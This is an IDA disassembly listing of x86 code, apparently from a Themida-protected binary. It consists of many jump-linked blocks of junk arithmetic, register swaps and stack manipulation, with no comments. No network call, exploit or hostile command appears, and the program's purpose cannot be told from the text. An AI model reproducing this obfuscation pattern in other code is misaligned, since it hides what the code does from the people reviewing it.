loc_5618EB:				; CODE XREF: sub_55EDA7+10D9Fj
		xor	eax, [esp-20h+arg_1C]
		xor	[esp-20h+arg_1C], eax
		xor	eax, [esp-20h+arg_1C]
		pop	esp
		jmp	loc_563004
; ---------------------------------------------------------------------------


loc_5618FA:				; CODE XREF: sub_55EDA7+3D2Dj
		sub	ecx, 56A15678h
		add	ecx, esi
		add	ecx, 56A15678h
		pop	esi
		jmp	loc_566EFB
; ---------------------------------------------------------------------------


loc_56190E:				; CODE XREF: sub_55EDA7+5A0Ej
		neg	eax
		push	ebp
		mov	ebp, 1BCF4AD8h
		or	eax, ebp
		jmp	loc_560B9F
; ---------------------------------------------------------------------------


loc_56191D:				; CODE XREF: sub_55EDA7+B2F2j
		inc	ebx
		add	ebx, 0FF30164Ch
		add	eax, ebx
		pop	ebx
		push	edi
		jmp	loc_56A661
; ---------------------------------------------------------------------------


loc_56192D:				; CODE XREF: sub_55EDA7+AB66j
		add	ebx, 4
		jmp	loc_56A241
; ---------------------------------------------------------------------------


loc_561938:				; CODE XREF: sub_55EDA7+3C61j
		pop	ecx
		xchg	ebp, [esp-28h+arg_24]
		jmp	loc_56A6FD
; ---------------------------------------------------------------------------


loc_561941:				; CODE XREF: sub_55EDA7+981Fj
		mov	edi, 51465999h
		push	ecx
		mov	ecx, 365828EFh
		jmp	loc_571B4F
; ---------------------------------------------------------------------------


loc_561951:				; CODE XREF: sub_55EDA7+BC5j
		mov	edi, 29077632h
		neg	edi
		xor	edi, 41CC56C5h
		jmp	loc_55F5C5
; ---------------------------------------------------------------------------


loc_561963:				; CODE XREF: sub_55EDA7+B674j
		mov	esi, 683542D3h
		not	esi
		push	43D5h
		mov	[esp+4Ch+var_4E+2], ebx
		mov	ebx, 39AE1E3Fh
		and	esi, ebx
		jmp	loc_57108F
; ---------------------------------------------------------------------------


loc_56197E:				; CODE XREF: sub_55EDA7+ED4j
		and	ecx, eax
		pop	eax
		jmp	loc_55F05C
; ---------------------------------------------------------------------------


loc_561986:				; CODE XREF: sub_55EDA7+E518j
		dec	eax
		inc	eax
		or	eax, 330B1B96h
		xor	eax, 570E6127h
		add	eax, 33BB46C0h
		jmp	loc_56B02D
; ---------------------------------------------------------------------------


loc_56199C:				; DATA XREF: Themida_:0055E044o
		mov	cx, word ptr [esp+8+var_8]
		push	eax
		push	esp
		mov	eax, [esp+10h+var_12+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		push	ebp
		mov	ebp, 4EF976DDh
		xchg	ecx, ebp
		not	ecx
		jmp	loc_55FC9C
; ---------------------------------------------------------------------------


loc_5619CA:				; CODE XREF: sub_55EDA7+1DBBj
		push	edi
		push	[esp-14h+arg_14]
		pop	edi
		pop	[esp-14h+arg_10]
		pop	esp
		xchg	ecx, edi
		jmp	loc_5688BD
; ---------------------------------------------------------------------------


loc_5619DB:				; CODE XREF: sub_55EDA7+130C7j
		add	esp, 4
		push	ebp
		jmp	loc_563855
; ---------------------------------------------------------------------------


loc_5619E7:				; CODE XREF: sub_55EDA7+B9F9j
		pop	eax
		push	edx
		xor	[esp-1Ch+arg_18], 74A79B5h
		pop	esi
		xor	esi, 74A79B5h
		pop	edx
		add	esi, ebx
		mov	ebx, [esp-24h+arg_20]
		jmp	loc_570ACA
; ---------------------------------------------------------------------------


loc_561A02:				; CODE XREF: sub_55EDA7+400Fj
		xor	ebp, eax
		pop	eax
		sub	ecx, 4B5A1541h
		add	ecx, ebp
		jmp	sub_56FC78
; ---------------------------------------------------------------------------


loc_561A12:				; CODE XREF: sub_55EDA7+C30Dj
		sub	dl, 0A7h
		add	dl, bl
		jmp	loc_55E289
; ---------------------------------------------------------------------------


loc_561A1C:				; CODE XREF: sub_55EDA7-AC8j
		push	eax
		mov	eax, 69632875h
		xor	[esp+1Ch+var_1A+2], eax
		pop	eax
		pop	ecx
		xor	ecx, 69632875h
		jmp	loc_56C20F
; ---------------------------------------------------------------------------


loc_561A33:				; CODE XREF: sub_55EDA7+134Aj
		xchg	ecx, [esp-10h+arg_C]
		pop	esp
		push	ebx
		mov	ebx, 60894CBAh
		sub	ecx, 37B84883h
		jmp	loc_5685CB
; ---------------------------------------------------------------------------


loc_561A48:				; CODE XREF: sub_55EDA7+2778j
		add	ecx, esi
		pop	esi
		inc	ecx
		add	ecx, 4F91698Ch
		neg	ecx
		jmp	loc_56C7F8
; ---------------------------------------------------------------------------


loc_561A59:				; CODE XREF: sub_55EDA7+7380j
		pop	[esp+38h+var_3A+2]
		pop	esp
		bt	word ptr [esp+30h+var_32+2], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_561A68:				; CODE XREF: sub_55EDA7+6584j
		sub	ch, 0C2h
		mov	dl, ch
		pop	ecx
		jmp	loc_56037A
; ---------------------------------------------------------------------------


loc_561A73:				; DATA XREF: Themida_:0055E0F4o
		mov	ax, word ptr [esp+30h+var_32+2]
		sub	esp, 4
		jmp	loc_565097
; ---------------------------------------------------------------------------
		push	[esp+34h+var_36+2]
		pop	ecx
		jmp	loc_56CC28
; ---------------------------------------------------------------------------


loc_561A8B:				; CODE XREF: sub_55EDA7+C27j
		push	bx
		mov	bh, 0E4h
		push	ebx
		mov	bh, 13h
		xor	bh, 9Bh
		add	dl, bh
		pop	ebx
		sub	dl, bh
		sub	dl, 88h
		jmp	loc_56DB62
; ---------------------------------------------------------------------------


loc_561AA2:				; CODE XREF: sub_55EDA7+19FBj
		add	al, 0C3h
		sub	al, 0ADh
		mov	dx, word ptr [esp+12h+var_12]
		jmp	sub_56F579
; ---------------------------------------------------------------------------


loc_561AAF:				; CODE XREF: sub_55EDA7+D1A9j
		mov	ebx, 4
		sub	edi, 2956B3Ah
		add	edi, ebx
		push	ebp
		mov	ebp, 2956B3Ah
		add	edi, ebp
		mov	ebp, [esp+16h+var_16]
		add	esp, 4
		pop	ebx
		xor	edi, [esp+0Eh+var_E]
		xor	[esp+0Eh+var_E], edi
		jmp	loc_55F7BE
; ---------------------------------------------------------------------------


loc_561AD6:				; CODE XREF: sub_55EDA7+68D7j
		xor	edi, 4178B116h
		add	esi, edi
		mov	edi, [esp+0Eh+var_E]
		add	esp, 4
		add	edi, esi
		mov	esi, [esp+0]
		jmp	loc_569362
; ---------------------------------------------------------------------------


loc_561AEE:				; CODE XREF: sub_55EDA7+13EE3j
		mov	[esp+0], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Eh+var_E]
		pop	esp
		mov	[esp+0], edx
		push	3E2F50B9h
		mov	edx, [esp+0Eh+var_E]
		jmp	sub_56C7B0
; ---------------------------------------------------------------------------


loc_561B14:				; CODE XREF: sub_5708C8+Ej
		shr	ebx, 8
		shl	ebx, 1
		jmp	loc_568BF6
; ---------------------------------------------------------------------------


loc_561B1E:				; CODE XREF: sub_55EDA7+C750j
		pop	esp
		jmp	loc_56AD74
; ---------------------------------------------------------------------------


loc_561B24:				; CODE XREF: sub_55EDA7+E94Ej
		sub	esp, 4
		mov	[esp+0Eh+var_E], edx
		push	dword ptr [esp+4]
		jmp	loc_570A45
; ---------------------------------------------------------------------------


loc_561B36:				; CODE XREF: sub_55EDA7+4E6j
		mov	[esp-18h+arg_14], ecx
		mov	ecx, 68383E8Eh
		shr	ecx, 6
		jmp	loc_564164
; ---------------------------------------------------------------------------


loc_561B46:				; CODE XREF: sub_55EDA7+866Aj
		add	edx, 6D1D20DBh
		jmp	loc_56EAAA
; ---------------------------------------------------------------------------


loc_561B51:				; CODE XREF: sub_55EDA7+C8B0j
		shr	cx, 8
		not	cx
		push	ax
		mov	ax, 9DDAh
		sub	cx, ax
		pop	ax
		xor	si, cx
		pop	ecx
		shl	si, 4
		add	si, 0FFFFh
		push	ebp
		mov	bp, 2AAEh
		jmp	loc_57170F
; ---------------------------------------------------------------------------


loc_561B79:				; CODE XREF: sub_55EDA7+71A3j
		mov	edi, 1B7322E4h
		jmp	loc_56365F
; ---------------------------------------------------------------------------


loc_561B83:				; CODE XREF: sub_55EDA7+1185Dj
		mov	edx, 6D8D4917h
		not	edx
		or	edx, 3E3726C6h
		jmp	sub_570517
; ---------------------------------------------------------------------------


loc_561B95:				; CODE XREF: sub_55EDA7+12BD5j
		push	edx
		jmp	loc_5668BA
; ---------------------------------------------------------------------------


loc_561B9B:				; CODE XREF: sub_55EDA7+11660j
		push	edx
		push	ecx
		jmp	loc_5636C3
; ---------------------------------------------------------------------------


loc_561BA2:				; CODE XREF: sub_55EDA7+1E79j
		mov	ecx, 8B42855h
		push	edx
		mov	edx, 6C1A6412h
		add	edx, 0EF01AFAFh
		or	ecx, edx
		pop	edx
		not	ecx
		push	ebx
		push	ecx
		mov	ecx, 2379406Bh
		mov	ebx, 0DC86BF94h
		sub	ebx, 5DE91438h
		jmp	loc_55F9DB
; ---------------------------------------------------------------------------


loc_561BCF:				; CODE XREF: sub_55EDA7+9DDFj
		xchg	eax, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_564947
; ---------------------------------------------------------------------------


loc_561BDA:				; CODE XREF: sub_55EDA7+DBCj
		pop	eax
		pop	cx
		inc	bl
		push	edx
		mov	dl, 0B7h
		and	dl, 0CBh
		shr	dl, 4
		shl	dl, 8
		push	3D98h
		jmp	loc_56FEE7
; ---------------------------------------------------------------------------


loc_561BF5:				; CODE XREF: sub_55EDA7+B22j
		mov	[esp+0], esp
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	loc_5705E3
; ---------------------------------------------------------------------------


loc_561C10:				; CODE XREF: sub_55EDA7+A3C0j
		mov	dl, 56h
		mov	bl, dl
		pop	edx
		shl	bl, 2
		jmp	loc_56C4DA
; ---------------------------------------------------------------------------


loc_561C1D:				; CODE XREF: sub_55EDA7+A151j
		pop	esp
		jmp	loc_56342B
; ---------------------------------------------------------------------------


loc_561C23:				; CODE XREF: sub_55E8D8+13AA5j
		add	esp, 4


loc_561C29:				; CODE XREF: sub_55EDA7+92B4j
		push	6601h
		mov	[esp-8+arg_4], ebp
		jmp	sub_55ECB4
; ---------------------------------------------------------------------------


loc_561C36:				; CODE XREF: sub_55EDA7+E086j
		xor	[esp-8+arg_4], esi
		xor	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]


loc_561C3F:				; CODE XREF: sub_55EDA7+284Cj
		push	391Bh
		mov	[esp-4+arg_0], ebx
		push	2CFCh
		mov	[esp+0], ebp
		mov	ebp, 52B20315h
		sub	[esp+arg_0], ebp
		jmp	loc_5703A5
; ---------------------------------------------------------------------------


loc_561C5D:				; CODE XREF: sub_55EDA7+B8B5j
		mov	esi, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp+8+var_8]
		jmp	loc_567653
; ---------------------------------------------------------------------------


loc_561C79:				; CODE XREF: sub_56E567+18j
		add	ecx, edi
		add	ecx, 1F76629Ah
		jmp	loc_56B33B
; ---------------------------------------------------------------------------


loc_561C86:				; CODE XREF: sub_55EDA7+1955j
		pop	esi
		and	edi, edx
		jmp	loc_560B53
; ---------------------------------------------------------------------------


loc_561C8E:				; CODE XREF: sub_55EDA7+B754j
		mov	ecx, 4
		mov	edx, ecx
		pop	ecx
		add	[esp-2Ch+arg_2C], edx
		pop	edx
		mov	edi, [esp-30h+arg_2C]
		add	esp, 4
		push	3D5Bh
		mov	[esp-30h+arg_2C], ecx
		jmp	loc_563973
; ---------------------------------------------------------------------------


loc_561CB1:				; CODE XREF: sub_55EDA7+280j
		push	37EF6833h
		mov	ecx, [esp+2Ch+var_2E+2]
		add	esp, 4
		jmp	loc_562662
; ---------------------------------------------------------------------------


loc_561CC1:				; CODE XREF: sub_55EDA7+B1CAj
		sub	eax, 52467943h
		sub	eax, 1D83D896h
		xor	esi, eax
		pop	eax
		jmp	loc_564DBF
; ---------------------------------------------------------------------------


loc_561CD3:				; CODE XREF: sub_570C58-1D27j
		add	esp, 4
		pop	[esp+20h+var_22+2]
		mov	esp, [esp+1Ch+var_1E+2]
		mov	[esp+1Ch+var_1E+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_56167A
; ---------------------------------------------------------------------------


loc_561CF0:				; CODE XREF: sub_55EDA7+C5D8j
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		pop	[esp+1Ch+var_1E+2]
		jmp	loc_5616C0
; ---------------------------------------------------------------------------


loc_561D01:				; CODE XREF: sub_55EDA7+9433j
		xor	eax, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		jmp	loc_56D305
; ---------------------------------------------------------------------------


loc_561D0C:				; CODE XREF: sub_55EDA7+370Dj
		add	ebp, esi
		pop	esi
		jmp	loc_570ED7
; ---------------------------------------------------------------------------


loc_561D14:				; CODE XREF: sub_55EDA7+C573j
		xchg	edi, [esp+14h+var_16+2]
		jmp	loc_56F96E
; ---------------------------------------------------------------------------


loc_561D1C:				; CODE XREF: sub_55EDA7+D248j
		dec	esi
		push	edx
		mov	edx, 31407DE0h
		xor	edx, 0B46BAAC8h
		sub	esi, edx
		mov	edx, [esp+18h+var_1A+2]
		jmp	loc_56A0DF
; ---------------------------------------------------------------------------


loc_561D33:				; CODE XREF: sub_55EDA7+76E5j
		push	67B5h
		jmp	loc_560181
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	byte ptr [esp+1Ah+var_1A], al
		pushf
		jmp	loc_560121
; ---------------------------------------------------------------------------


loc_561D4C:				; CODE XREF: sub_55EDA7+4314j
		mov	ebp, 243E282Fh
		jmp	loc_5708B6
; ---------------------------------------------------------------------------


loc_561D56:				; CODE XREF: sub_55EDA7+FF70j
		mov	edx, 4
		add	[esp+1Eh+var_1A], edx
		pop	edx
		pop	eax
		jmp	loc_569DD7
; ---------------------------------------------------------------------------


loc_561D66:				; CODE XREF: sub_55EDA7+12A68j
		shl	ch, 2
		sub	ch, 97h
		sub	ch, 42h
		jmp	loc_562C2D
; ---------------------------------------------------------------------------


loc_561D74:				; CODE XREF: sub_55EDA7+1AB3j
		pop	esp
		jmp	loc_56409D
; ---------------------------------------------------------------------------


loc_561D7A:				; CODE XREF: sub_55EDA7+12CF3j
		add	esp, 4
		push	ebx
		push	ecx
		mov	ch, 0A8h
		add	ch, 91h
		push	ebx
		mov	bh, 0A2h
		jmp	loc_568B92
; ---------------------------------------------------------------------------


loc_561D8F:				; CODE XREF: sub_55EDA7+C7EAj
		sub	dh, ch
		add	dh, 59h
		sub	dh, 82h
		pop	cx
		jmp	loc_565FA2
; ---------------------------------------------------------------------------


loc_561D9E:				; CODE XREF: sub_55EDA7+D76Bj
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_561DA3:				; CODE XREF: Themida_:0056EBA4j
		and	ebx, 783710DFh
		xor	ebx, 5B454C84h
		sub	eax, ebx
		mov	ebx, [esp+1Eh+var_1E]
		push	4A95h
		mov	[esp+22h+var_22], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57164A
; ---------------------------------------------------------------------------


loc_561DC9:				; CODE XREF: sub_55EDA7+BF61j
		pop	ebp
		jmp	loc_56571B
; ---------------------------------------------------------------------------


loc_561DCF:				; CODE XREF: sub_55EDA7+95DBj
		add	esp, 4
		push	3958h
		mov	[esp+1Eh+var_1E], edx
		jmp	loc_568EFD
; ---------------------------------------------------------------------------


loc_561DE2:				; CODE XREF: sub_55EDA7+13EEFj
		push	edi
		mov	di, 2018h
		or	di, 72ACh
		jmp	loc_56C2BC
; ---------------------------------------------------------------------------


loc_561DF1:				; CODE XREF: sub_55EDA7+259Fj
		pop	edx
		sub	bl, 8Eh
		pop	eax
		sub	bl, 0CCh
		add	bl, 0E7h
		sub	bl, 40h
		sub	bl, al
		add	bl, 40h
		jmp	loc_5725CE
; ---------------------------------------------------------------------------


loc_561E09:				; CODE XREF: sub_55EDA7+5294j
		push	eax
		mov	eax, 0A80872h
		mov	ebp, 77140598h
		xor	ebp, eax
		jmp	loc_56D056
; ---------------------------------------------------------------------------


loc_561E1B:				; CODE XREF: sub_55EDA7-423j
		pop	ebp
		add	ecx, edx
		add	ecx, 78372B97h
		add	ecx, 55342CECh
		push	[esp-20h+arg_1C]
		mov	edx, [esp-1Ch+arg_18]
		add	esp, 4
		jmp	loc_5610B1
; ---------------------------------------------------------------------------


loc_561E38:				; CODE XREF: sub_55EDA7+43D3j
		add	ebx, esi
		push	[esp-20h+arg_1C]
		pop	esi
		add	esp, 4
		add	ebx, 2
		push	ebx
		push	[esp-20h+arg_20]
		pop	ebx
		pop	[esp-20h+arg_1C]
		mov	esp, [esp-24h+arg_20]
		cmp	cl, al
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_561E5E:				; CODE XREF: sub_55EDA7+1138Dj
		mov	edx, 1C3E62CBh
		sub	ebx, edx
		pop	edx
		not	ebx
		add	ebx, 0B2E42116h
		mov	esi, ebx
		pop	ebx
		push	ebp
		mov	ebp, 32D51FE5h
		sub	ebp, 276956CDh
		jmp	loc_56E208
; ---------------------------------------------------------------------------


loc_561E82:				; CODE XREF: sub_55EDA7+95Aj
		push	[esp-0Ah+arg_4+2]
		mov	ebp, [esp-6+arg_0+2]
		jmp	loc_571C77
; ---------------------------------------------------------------------------


loc_561E8D:				; CODE XREF: sub_55EDA7+67ADj
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xor	ebp, [esp-0Ah+arg_4+2]
		xor	[esp-0Ah+arg_4+2], ebp
		xor	ebp, [esp-0Ah+arg_4+2]
		jmp	loc_569871
; ---------------------------------------------------------------------------


loc_561EA3:				; CODE XREF: sub_55EDA7+12F0Dj
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebx
		jmp	loc_55E9C8
; ---------------------------------------------------------------------------


loc_561EAE:				; CODE XREF: sub_55EDA7+10D2Cj
		mov	edi, eax
		pop	eax
		push	esi
		mov	esi, 73DB3BBEh
		xor	edi, esi
		pop	esi
		jmp	loc_56854C
; ---------------------------------------------------------------------------


loc_561EBF:				; CODE XREF: sub_55EDA7+660Dj
		not	[esp-0Ah+arg_4+2]
		pop	ecx
		jmp	loc_560953
; ---------------------------------------------------------------------------


loc_561EC8:				; CODE XREF: sub_55EDA7+12E87j
		add	edx, 4F57706Ah
		add	edx, eax
		jmp	loc_55E6E0
; ---------------------------------------------------------------------------


loc_561ED5:				; DATA XREF: Themida_:0055DF2Co
		push	[esp-0Eh+arg_8+2]
		pop	eax
		sub	esp, 4
		mov	[esp-0Ah+arg_4+2], edx
		mov	edx, esp
		push	7016h
		mov	[esp-6+arg_0+2], ecx
		push	4
		mov	ecx, [esp+0]
		jmp	loc_56A329
; ---------------------------------------------------------------------------


loc_561EF6:				; CODE XREF: sub_55EDA7+6669j
		mov	eax, 0B192690h
		push	eax
		neg	[esp+2+var_4+2]
		mov	eax, [esp+2+var_4+2]
		jmp	loc_572B2B
; ---------------------------------------------------------------------------


loc_561F07:				; CODE XREF: sub_55EDA7+D7B8j
		push	ebp
		mov	ebp, 4E087EA5h
		dec	ebp
		push	esi
		jmp	loc_564AD5
; ---------------------------------------------------------------------------


loc_561F14:				; CODE XREF: sub_55EDA7+C796j
		mov	[esp+0], edi
		push	esp
		pop	edi
		jmp	loc_563EDA
; ---------------------------------------------------------------------------


loc_561F1E:				; CODE XREF: sub_55EDA7+EA61j
		not	dh
		not	dh
		jmp	loc_5663EB
; ---------------------------------------------------------------------------


loc_561F27:				; CODE XREF: sub_55EDA7+F6BDj
		xor	edi, [esp+0]
		pop	esp
		push	0B1Eh
		mov	[esp+0], edi
		mov	edi, 75226AB1h
		push	ecx
		mov	ecx, 6CCD2944h
		push	edi
		push	eax
		jmp	loc_5692FE
; ---------------------------------------------------------------------------


loc_561F45:				; CODE XREF: sub_55EDA7+FA52j
		push	esp
		pop	edx
		jmp	loc_56F0F2
; ---------------------------------------------------------------------------


loc_561F4C:				; CODE XREF: sub_55EDA7+7BA1j
		add	edi, 7A28476Fh
		push	[esp+16h+var_16]
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		add	esp, 4
		push	edi
		jmp	loc_55F146
; ---------------------------------------------------------------------------


loc_561F67:				; CODE XREF: sub_55EDA7+10F02j
		mov	ebx, esi
		pop	esi
		sub	ebx, edi
		pop	edi
		mov	edx, 0A9BE31F9h
		sub	esp, 4
		mov	[esp+12h+var_12], ecx
		push	edi
		mov	edi, 441B2F02h
		mov	ecx, 0BC5A57ECh
		sub	ecx, edi
		pop	edi
		sub	edx, 6287451Ah
		sub	edx, ecx
		add	edx, 6287451Ah
		pop	ecx
		add	edx, ebx
		push	edi
		mov	edi, 28B42C73h
		jmp	loc_565DBB
; ---------------------------------------------------------------------------


loc_561FA2:				; CODE XREF: sub_55EDA7+12028j
		pop	ebx
		sub	edi, edx
		jmp	loc_56ED48
; ---------------------------------------------------------------------------


loc_561FAA:				; CODE XREF: sub_55EDA7+12BBCj
		push	edx
		push	eax
		jmp	loc_564D5D
; ---------------------------------------------------------------------------


loc_561FB1:				; CODE XREF: sub_55EDA7+4CA5j
		dec	ecx
		xchg	ecx, esi
		jmp	loc_55FD2E
; ---------------------------------------------------------------------------


loc_561FB9:				; CODE XREF: sub_55EDA7+50A6j
		mov	eax, 6D484B93h
		push	ecx
		jmp	loc_572D65
; ---------------------------------------------------------------------------


loc_561FC4:				; CODE XREF: sub_55EDA7+92DDj
		pop	ecx
		push	6E4Fh
		jmp	loc_5632C0
; ---------------------------------------------------------------------------


loc_561FCF:				; CODE XREF: sub_55EDA7+4C4Fj
		pop	edi
		mov	ebp, [esp+16h+var_16]
		jmp	loc_55F97D
; ---------------------------------------------------------------------------


loc_561FD8:				; CODE XREF: sub_56BC4C+9j
		mov	edx, 2
		push	edx
		sub	[esp+1Ah+var_1A], 4CA92B6Eh
		mov	ebx, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_56F0E2
; ---------------------------------------------------------------------------


loc_561FF0:				; CODE XREF: sub_55EDA7+BDC5j
		mov	ebx, 61F7356Dh
		not	ebx
		neg	ebx
		add	ebx, 9E08CA96h
		add	esi, ebx
		jmp	loc_563987
; ---------------------------------------------------------------------------


loc_562006:				; CODE XREF: sub_55EDA7+F5B2j
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		jmp	loc_55FBF1
; ---------------------------------------------------------------------------


loc_562011:				; CODE XREF: sub_55EDA7+672Ej
		add	ecx, eax
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		push	6513h
		jmp	loc_562D54
; ---------------------------------------------------------------------------


loc_562026:				; CODE XREF: sub_55EDA7+12A96j
		sub	al, 69h
		pop	ebx
		jmp	loc_560BF7
; ---------------------------------------------------------------------------


loc_56202E:				; CODE XREF: sub_55EDA7+9BD5j
		mov	[esp+0Eh+var_E], eax
		mov	eax, esp
		push	4D3Bh
		mov	[esp+12h+var_12], ebx
		push	esi
		mov	esi, 6629787Fh
		mov	ebx, 66DFDC73h
		push	esi
		mov	esi, 16100A59h
		shr	esi, 7
		add	esi, 1D745F29h
		dec	esi
		neg	esi
		neg	esi
		xor	esi, 4AEE447Dh
		sub	ebx, esi
		pop	esi
		add	ebx, 2AA02A7Bh
		sub	ebx, esi
		jmp	loc_5656B9
; ---------------------------------------------------------------------------


loc_562070:				; CODE XREF: sub_55EDA7+FF46j
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp+1Ah+var_1A], esp
		push	ebx
		jmp	loc_5705AC
; ---------------------------------------------------------------------------


loc_562086:				; CODE XREF: sub_55EDA7+25D2j
		mov	esi, [esp-14h+arg_10]
		push	ecx
		jmp	loc_56A14D
; ---------------------------------------------------------------------------


loc_56208F:				; DATA XREF: Themida_:0055E024o
		push	[esp-10h+arg_C]
		push	[esp-0Ch+arg_8]
		mov	ecx, [esp-8+arg_4]
		jmp	loc_5627DC
; ---------------------------------------------------------------------------


loc_56209D:				; CODE XREF: sub_55EDA7+49D4j
		or	ebx, 62B35EFAh
		xor	ebx, 62FF7FFBh
		jmp	loc_56DCD3
; ---------------------------------------------------------------------------


loc_5620AE:				; CODE XREF: sub_55EDA7+D9B3j
		or	ebx, ebx
		jnz	loc_56CCD4
		sub	esp, 4
		mov	[esp-4+arg_0], edx
		sub	[esp-4+arg_0], 228253CAh
		pop	dword ptr [edi+20h]
		push	ebp
		push	ecx
		jmp	loc_55FDC6
; ---------------------------------------------------------------------------


loc_5620D0:				; CODE XREF: sub_55EDA7+AE61j
		mov	esi, [esp+0]
		add	esp, 4
		push	edx
		jmp	loc_568A41
; ---------------------------------------------------------------------------


loc_5620DF:				; CODE XREF: sub_55EDA7+43Cj
		sub	eax, edi
		jmp	loc_56BEF7
; ---------------------------------------------------------------------------


loc_5620E6:				; CODE XREF: sub_55EDA7+3E93j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_566BD3
; ---------------------------------------------------------------------------


loc_5620F3:				; CODE XREF: sub_55EDA7+11800j
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		xchg	ecx, [esp+10h+var_12+2]
		mov	esp, [esp+10h+var_12+2]
		mov	[esp+10h+var_12+2], esi
		push	ebp
		mov	ebp, esp
		jmp	loc_55E838
; ---------------------------------------------------------------------------


loc_562117:				; CODE XREF: sub_55EDA7+518Aj
		pop	eax
		jmp	loc_5609E2
; ---------------------------------------------------------------------------


loc_56211D:				; DATA XREF: Themida_:0055DF6Co
		lodsw
		push	ecx
		mov	ecx, esp
		jmp	loc_567A65
; ---------------------------------------------------------------------------


loc_562127:				; CODE XREF: sub_55EDA7+7D79j
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_56D5CB
; ---------------------------------------------------------------------------


loc_562134:				; CODE XREF: sub_55EDA7+F932j
		pop	edx
		push	eax
		jmp	loc_55F689
; ---------------------------------------------------------------------------


loc_56213B:				; CODE XREF: sub_55EDA7+82EBj
		sub	ecx, 71037856h
		mov	edi, [esp+10h+var_12+2]
		jmp	loc_562251
; ---------------------------------------------------------------------------


loc_562149:				; CODE XREF: sub_55EDA7+1BB7j
		add	esp, 4
		sub	edi, 0E0ED4EE5h
		add	eax, 555E268Dh
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 335C2D80h
		push	eax
		mov	eax, 2AAB4C8Eh
		jmp	loc_56F6CC
; ---------------------------------------------------------------------------


loc_562173:				; CODE XREF: sub_55EDA7+F7BBj
		pop	edi
		push	14FDh
		mov	[esp+0Ch+var_E+2], ecx
		push	4A900884h
		pop	ecx
		push	esi
		push	ebp
		mov	ebp, 1F140455h
		jmp	loc_56EF6E
; ---------------------------------------------------------------------------


loc_56218E:				; CODE XREF: sub_55EDA7+4C0Dj
		add	esi, 0F2BAF9ACh
		jmp	loc_56F0D3
; ---------------------------------------------------------------------------


loc_562199:				; CODE XREF: sub_55EDA7+2359j
		sub	ebp, 0D17F72E0h
		mov	ecx, ebp
		pop	ebp
		xor	eax, ecx
		push	[esp-28h+arg_24]
		mov	ecx, [esp-24h+arg_20]
		add	esp, 4
		jmp	loc_56108C
; ---------------------------------------------------------------------------


loc_5621B5:				; CODE XREF: sub_55EDA7+13D5Bj
		mov	[esp-28h+arg_24], edx
		jmp	loc_567A00
; ---------------------------------------------------------------------------


loc_5621BD:				; CODE XREF: sub_55EDA7+D688j
		sub	edx, eax
		sub	esp, 4
		mov	[esp-24h+arg_20], edi
		mov	edi, esp
		jmp	loc_56B85F
; ---------------------------------------------------------------------------


loc_5621CF:				; CODE XREF: sub_55EDA7+B4D6j
		pop	esp
		jmp	loc_564340
; ---------------------------------------------------------------------------


loc_5621D5:				; CODE XREF: sub_55EDA7+63Bj
		pop	ebx
		add	edi, 4
		jmp	loc_569597
; ---------------------------------------------------------------------------


loc_5621DE:				; CODE XREF: sub_55EDA7+8981j
		sub	esi, 37BA435Ah
		pop	ebp
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5621F0:				; CODE XREF: sub_55EDA7+1CADj
		shr	ebx, 6
		dec	ebx
		add	ebx, 17CC0AD5h
		add	edi, ebx
		mov	ebx, [esp-10h+arg_C]
		add	esp, 4
		add	edi, 6747ABF7h
		jmp	loc_56CC2F
; ---------------------------------------------------------------------------


loc_56220D:				; CODE XREF: sub_55EDA7+592Bj
		pop	ebp
		push	42F2h
		jmp	loc_567C37
; ---------------------------------------------------------------------------


loc_562218:				; CODE XREF: sub_55EDA7+A552j
		push	edx
		mov	edx, 20270C80h
		neg	edx
		push	ebp
		mov	ebp, 2D0F589Dh
		jmp	loc_56AD5C
; ---------------------------------------------------------------------------


loc_56222B:				; CODE XREF: sub_56F095-2660j
		inc	ebx
		jmp	loc_571FC8
; ---------------------------------------------------------------------------


loc_562231:				; CODE XREF: sub_55EDA7+9BDDj
		add	esp, 4
		add	esp, 4
		pop	[esp-14h+arg_10]
		mov	esp, [esp-18h+arg_14]
		mov	ax, word ptr [esp-18h+arg_14]
		push	191Bh
		mov	[esp-14h+arg_10], edx
		jmp	loc_56A134
; ---------------------------------------------------------------------------


loc_562251:				; CODE XREF: sub_55EDA7+339Dj
		add	esp, 4
		add	ecx, 45F386Ch
		jmp	loc_566FD4
; ---------------------------------------------------------------------------


loc_56225F:				; CODE XREF: sub_55EDA7+659Cj
		xor	eax, [esp+0Ch+var_E+2]
		jmp	loc_567843
; ---------------------------------------------------------------------------


